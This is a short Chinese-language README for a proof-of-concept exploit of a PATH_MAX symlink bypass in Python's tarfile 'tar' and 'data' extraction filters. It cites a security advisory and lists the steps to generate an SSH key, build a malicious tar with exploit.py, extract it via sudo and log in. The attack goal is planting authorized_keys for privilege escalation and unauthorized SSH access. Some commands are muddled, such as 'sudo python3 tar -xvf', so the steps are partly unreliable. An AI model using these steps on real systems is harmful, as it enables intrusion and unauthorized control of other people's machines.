影响:权限提升
工作原理:
Python 的 TarFile.extractall() 和 TarFile.extract() 方法支持设置过滤器以提高这些方法使用时的安全性。Python 标准库提供了两种实现 tar_filter ("tar") 和 data_filter ("data"),各自具有不同的检查措施来提升 tar 文件提取的安全性。
当处理包含符号链接的路径时,如果该路径短于 PATH_MAX,但在通过 os.path.realpath() 替换符号链接后长于 PATH_MAX,则存在一个漏洞。任何超出 PATH_MAX 的符号链接都不会被展开。
"tar" 和 "data" 过滤器使用 os.path.realpath() 验证路径,但如果超出 PATH_MAX,则不会抛出错误。随后在 extractall() 或 extract() 中使用这些路径时,不会再次通过 os.path.realpath() 传递它们。
参考:https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f
如何使用 PoC:
ssh-keygen -t ed25519 -f any
mkdir test
mv any.pub authorized_keys
cp authorized_keys /test
cd test
# 将你的公钥文件名改为 authorized_keys
python3 exploit.py
(file.tar) ~ 已生成
# 现在使用 Python3
sudo python3 tar -xvf file.tar
# 登录
chmod 600 any
ssh -i any user@ip